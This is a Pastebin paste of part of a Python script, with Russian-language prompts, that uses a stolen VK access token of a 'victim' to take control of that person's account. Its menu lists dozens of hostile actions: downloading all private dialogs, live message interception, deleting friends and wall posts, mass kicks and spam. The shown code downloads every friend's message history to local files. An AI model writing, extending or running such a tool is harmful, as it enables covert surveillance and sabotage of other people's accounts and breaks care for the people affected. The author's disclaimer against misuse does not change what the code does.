Advertisement
kolya5544

part1

Jun 5th, 2020
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.91 KB | None | 0 0
  1. import vk_api
  2. import json
  3. import time
  4. import datetime
  5. import os
  6. import subprocess
  7.  
  8. def cls():
  9. subprocess.call('cls', shell=True)
  10.  
  11. def exxit():
  12. input('\n--------------------------------------------------------------------\n Нажмите Enter чтобы вернутся в меню')
  13. subprocess.call('color 0a', shell=True)
  14. try:
  15. open('token.txt','r').readline()
  16. except Exception:
  17. open('token.txt','w').write('')
  18. input('Введите TOKEN жертвы в token.txt и нажмите Enter:\n')
  19. cls()
  20. try:
  21. open('id.txt','r').readline()
  22. except Exception:
  23. open('id.txt','w').write('')
  24. input('Введите ID жертвы в id.txt и нажмите Enter:\n')
  25. cls()
  26.  
  27. vk = vk_api.VkApi(token=open('token.txt','r').readline().strip())
  28. vk._auth_token()
  29. idshnik = open('id.txt','r').readline().strip()
  30.  
  31. path = open('id.txt','r').readline().strip() + '_output'
  32. if not os.path.exists(path):
  33. try:
  34. os.makedirs(path)
  35. except OSError:
  36. print("Папка уже создана")
  37. cls()
  38.  
  39. stroka=0
  40. offs = 0
  41. chat_idd = 1
  42.  
  43. user_info = vk.method("users.get", {"user_ids": int(idshnik), "fields": ["first_name", "last_name"]})
  44. user_name = user_info[0]["first_name"]
  45. user_name1 = user_info[0]["last_name"]
  46. cls()
  47. while True:
  48. print('Эта программа была создана компанией Kersal Studio - vk.com/kersalstudio, \nзапуская программу вы соглашаетесь что не будете использовать программу во вред, и вся отвественность лежит на вас\n')
  49. print('User_ID: ' + str(idshnik))
  50. print('User_First_Name: ' + str(user_name))
  51. print('User_Last_Name: ' + str(user_name1))
  52. print('\nBETTA 0.1\n1.) Скачать все диалоги с друзьями\n2.) Получить список друзей\n3.) Получить список бесед\n4.) Массовый кик в беседе\n5.) Получить участников конкретной беседы \n6.) Очистить историю конкретной беседы\n7.) Очистить историю конкретного диалога\n(НЕ РАБОТАЕТ) || 9.) Очистить все диалоги с друзьями\n10.) Очистить все беседы \n11.) Изменить название конкретной беседы \n12.) Удалить аватарку конкретной беседы \n(НЕ РАБОТАЕТ) || 13.) Открепить сообщение в беседе\n14.) Получить список подписанных групп \n15.) Удалить всех друзей \n(НЕ РАБОТАЕТ) || 16.) Удалить всех подписчиков\n(НЕ РАБОТАЕТ) || 17.) Выйти из всех групп \n(НЕ РАБОТАЕТ) || 18.) Выйти из всех бесед \n19.) Поменять статус \n20.) Удалить все со стены \n21.) Кикнуть конкретного человека в беседе \n22.) Удалить конкретного друга \n(НЕ РАБОТАЕТ) || 23.) Удалить конкретного подписчика \n24.) Заморозить страницу \n25.) Онлайн прослушивание сообщений \n26.) Перевести всех друзей в чс \n27.) Убрать всех из чс \n28.) Добавить кого либо в чс \n29.) Убрать кого либо из чс \n30.) Скачать переписку конкретного человека \n31.) Скачать переписку конкретной беседы \n32.) Повторяющиеся статус \n33.) Написать кому либо \n34.) Написать на стене \n(НЕ РАБОТАЕТ) || 35.) Перевести свех подписчиков группы в бан \n(НЕ РАБОТАЕТ) || 36.) Удалить все посты в группе \n(НЕ РАБОТАЕТ) || 37.) Поменять настройки страницы \n(НЕ РАБОТАЕТ) || 38.) Включить троллинг режим \n39.) Сделать рассылку всем друзьям \n40.) Подписать на конкретную группу \n(НЕ РАБОТАЕТ) || 41.) Включить спам в беседе \n(НЕ РАБОТАЕТ) || 42.) Написать в конкретной беседе \n(НЕ РАБОТАЕТ) || 43.) Добавить конкретного человека в беседу \n(НЕ РАБОТАЕТ) || 44.) Начинать добавляться всем подряд в друзья \n(НЕ РАБОТАЕТ) || 45.)Выйти из конкретной группы\n')
  53.  
  54. vibor = input('\n--------------------------------------------------------------------\nВведите цифру и нажмите Enter: ')
  55. cls()
  56.  
  57. if vibor == '1':
  58. print('Началось скачивание переписок, подождите, это может занять около 2 часов,\nвсе сообщения будут сохранены в dialog_IDДРУГА.txt, после окончания программа сама выйдет\n--------------------------------------------------------------------')
  59. time.sleep(1)
  60. offs = 1
  61. end = 0
  62. get_friend = vk.method("friends.get",{"user_id" : int(idshnik) ,"count" : 5000})
  63. for friend in get_friend["items"]:
  64. count = vk.method("messages.getHistory",{"offset" : 0 ,"count" : 1, "user_id" : int(friend)})["count"]
  65. if count == 0:
  66. print('Ничего не найдено у ' + str(friend))
  67. else:
  68. print('Всего сообщений найдено: ' + str(count) + "\n" + " ID друга: " + str(friend) + '\n')
  69. offs = 1
  70. stroka = 0
  71. while offs < count:
  72. get_history = vk.method("messages.getHistory",{"offset" : offs ,"count" : 200, "user_id" : int(friend)})
  73. offs += 200
  74. for message11 in get_history["items"]:
  75. try:
  76. timestamp = int(message11["date"])
  77. value = datetime.datetime.fromtimestamp(timestamp)
  78. itog = str(value.strftime(' %Y.%m.%d %H:%M')) + " " + str(message11["from_id"]) + ": " + str(message11["text"]) + '\n'
  79. open(str(idshnik) + "_output" + "\\dialog_" + str(friend) +".txt",'a').write(' [' + str(stroka) + '] ' + itog)
  80. print('[' + str(stroka) +']' + itog)
  81. stroka=stroka+1
  82. end=end+1
  83. except Exception:
  84. print('Ошибка кодировки сообщения')
  85. print('\n----------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement